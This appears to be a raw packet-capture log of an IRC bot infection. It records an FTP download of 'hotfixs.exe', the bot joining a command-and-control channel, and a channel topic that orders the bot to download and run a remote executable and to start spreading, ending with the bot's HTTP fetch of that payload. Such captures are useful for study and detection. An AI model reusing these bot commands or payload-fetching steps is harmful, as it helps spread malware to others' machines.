ATTACKER: 220 VICTIM: USER a ATTACKER: 220 VICTIM: USER a ATTACKER: 331 VICTIM: PASS a ATTACKER: 230 VICTIM: TYPE I ATTACKER: 200 VICTIM: PORT 192,168,1,150,4 ATTACKER: 200 ATTACKER: RETR hotfixs.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: NICK TAHY-uamofvUSER TAHY-uamofv 0 0 :TAHY-uamofv ATTACKER: :irc.priv8net.com NOTICE AUTH :*** Looking up your hostname... ATTACKER: :irc.priv8net.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:irc.priv8net.com 001 TAHY-uamofv :irc.priv8net.com 002 TAHY-uamofv : M0dded by uNkn0wn Crew :irc.priv8net.com 003 TAHY-uamofv :irc.priv8net.com 004 TAHY-uamofv : www.uNkn0wn.eu - iD@uNkn0wn.eu :irc.priv8net.com 005 TAHY-uamofv :irc.priv8net.com 005 TAHY-uamofv :irc.priv8net.com 005 TAHY-uamofv :irc.priv8net.com 422 TAHY-uamofv :MOTD File is missing:TAHY-uamofv MODE TAHY-uamofv :+iwG VICTIM: JOIN #scop# servec ATTACKER: :TAHY-uamofv!TAHY-uamof@192.168.1.150 JOIN :#scop#:irc.priv8net.com 332 TAHY-uamofv #scop# :\@http.exe http:/members.lycos.co.uk/abosal710/ho.exe c:\\wins32.exe 1||@adv.start asn2 30 3 300 x.x.x.x -r -s:irc.priv8net.com 333 TAHY-uamofv #scop# H 1212848387 VICTIM: USERHOST TAHY-uamofvJOIN #scop# servecUSERHOST TAHY-uamofvJOIN #scop# servecUSERHOST TAHY-uamofvJOIN #scop# servecUSERHOST TAHY-uamofv ATTACKER: :irc.priv8net.com 302 TAHY-uamofv :TAHY-uamofv=+TAHY-uamof@192.168.1.150 :irc.priv8net.com 302 TAHY-uamofv :TAHY-uamofv=+TAHY-uamof@192.168.1.150 :irc.priv8net.com 302 TAHY-uamofv :TAHY-uamofv=+TAHY-uamof@192.168.1.150 :irc.priv8net.com 302 TAHY-uamofv :TAHY-uamofv=+TAHY-uamof@192.168.1.150 VICTIM: GET /abosal710/ho.exe HTTP/1.0Connection: Keep-AliveUser-Agent: Mozilla/4.5Host: members.lycos.co.uk:80